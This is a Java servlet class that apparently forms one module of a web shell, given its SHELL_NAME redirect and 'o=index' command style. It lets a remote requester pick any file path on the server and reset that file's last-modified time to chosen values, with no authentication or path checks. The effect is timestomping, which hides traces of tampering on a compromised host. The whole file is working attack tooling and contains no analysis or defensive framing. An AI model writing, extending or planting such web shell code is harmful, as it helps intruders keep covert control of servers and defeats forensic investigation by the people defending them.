package com.truthbean.jeetb.utils.web.invoker;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.io.File;
import java.util.Calendar;

public class EditPropertyInvoker extends DefaultInvoker {
    public boolean doBefore() {
        return false;
    }

    public boolean doAfter() {
        return false;
    }

    public void invoke(HttpServletRequest request, HttpServletResponse response, HttpSession session) throws Exception {
        try {
            String f = request.getParameter("file");
            File file = new File(f);
            if (!file.exists())
                return;

            String year = request.getParameter("year");
            String month = request.getParameter("month");
            String date = request.getParameter("date");
            String hour = request.getParameter("hour");
            String minute = request.getParameter("minute");
            String second = request.getParameter("second");

            Calendar cal = Calendar.getInstance();
            cal.set(Calendar.YEAR, Integer.parseInt(year));
            cal.set(Calendar.MONTH, Integer.parseInt(month) - 1);
            cal.set(Calendar.DATE, Integer.parseInt(date));
            cal.set(Calendar.HOUR, Integer.parseInt(hour));
            cal.set(Calendar.MINUTE, Integer.parseInt(minute));
            cal.set(Calendar.SECOND, Integer.parseInt(second));
            if (file.setLastModified(cal.getTimeInMillis())) {
                session.setAttribute(MSG, "Reset File Property Success!");
            } else {
                session.setAttribute(MSG, "Reset File Property Failed!");
            }
            response.sendRedirect(SHELL_NAME + "?o=index");
        } catch (Exception e) {
            e.printStackTrace();
            throw e;
        }
    }
}